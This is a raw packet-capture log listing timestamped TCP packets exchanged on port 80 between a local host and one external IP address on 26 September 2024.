Sep 26, 2024 19:05:17.183491945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.183492899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183506966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183510065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.183526993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183537006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.183551073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183554888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.183576107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183579922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.183594942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183602095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.183656931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183765888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.184180975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.184196949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.184222937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.184232950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.184241056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.184251070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.184267044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.184284925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.259854078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.259912014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.259933949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.259953976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260020971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260055065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260086060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260099888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260107040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260127068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260130882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260138988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260170937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260510921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260530949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260555983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260557890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260571003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260575056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260596991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260607958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260900974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260942936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260973930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.260987043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.260992050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261017084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261039019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261058092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261064053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261064053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261064053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261064053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261127949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261127949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261605024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261622906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261650085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261668921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261672974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261693954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261694908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261713028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261723042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261737108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261749983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261751890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.261780977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.261800051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.262547016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262567043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262589931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262610912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262614012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.262629032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262634039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.262655973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262671947 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.262677908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262686014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.262697935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262717962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.262722969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262732029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.262742043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.262761116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.262775898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263497114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263514042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263542891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263550997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263561964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263582945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263582945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263587952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263597965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263608932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263626099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263622999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263639927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263652086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263659954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263670921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.263681889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.263705969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264431953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264448881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264473915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264482975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264494896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264497995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264508963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264517069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264535904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264539003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264559031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264561892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264575005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264580965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264591932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264601946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.264619112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.264631987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265377045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265393972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265420914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265427113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265438080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265443087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265450001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265460968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265477896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265485048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265501022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265523911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265523911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265530109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265536070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265543938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.265567064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.265580893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.266299009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266314983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266344070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266351938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.266364098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266375065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.266385078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266402960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.266406059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266427040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.266427040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266444921 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.266448975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266458988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.266469955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.266479969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.266500950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.267256021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267277002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267298937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267318010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267322063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.267339945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267343998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.267364025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267364025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.267375946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.267404079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267404079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.267421007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267448902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.267453909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.267453909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.267488956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268042088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268078089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268091917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268105984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268115997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268120050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268138885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268142939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268152952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268161058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268179893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268187046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268197060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268205881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268224001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268225908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268239021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268249035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268264055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268273115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268287897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268294096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268299103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268337011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.268974066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.268995047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269020081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269026041 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269036055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269043922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269057989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269058943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269084930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269087076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269099951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269109964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269124985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269129038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269146919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269154072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269160032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269172907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269192934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269197941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269205093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269236088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269826889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269845009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269876003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269879103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269886017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269898891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269913912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269917011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269932985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269943953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.269948006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.269984007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.374591112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.374650955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.374656916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.374687910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.374757051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.374759912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.374759912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.374777079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.374802113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.374804020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.374814987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.374830008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.374838114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.374867916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375122070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375148058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375164986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375179052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375200987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375201941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375214100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375237942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375483036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375503063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375528097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375529051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375539064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375547886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375571012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375581980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375864983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375880957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375910044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375910997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.375937939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.375953913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376147032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376166105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376188040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376189947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376197100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376211882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376226902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376230001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376249075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376264095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376266003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376283884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376308918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376312017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376332045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376349926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.376900911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376940012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376962900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376981020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.376981020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377005100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377007008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377019882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377026081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377048969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377052069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377064943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377070904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377089024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377096891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377110004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377115011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377130985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377145052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377856970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377878904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377897978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377903938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377918005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377926111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377935886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377943993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377960920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.377968073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.377976894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378011942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378384113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378402948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378423929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378428936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378444910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378453970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378468990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378472090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378483057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378492117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378510952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378515959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378528118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378535032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378561974 CEST	49735	80	192.168.2.4	46.8.231.109
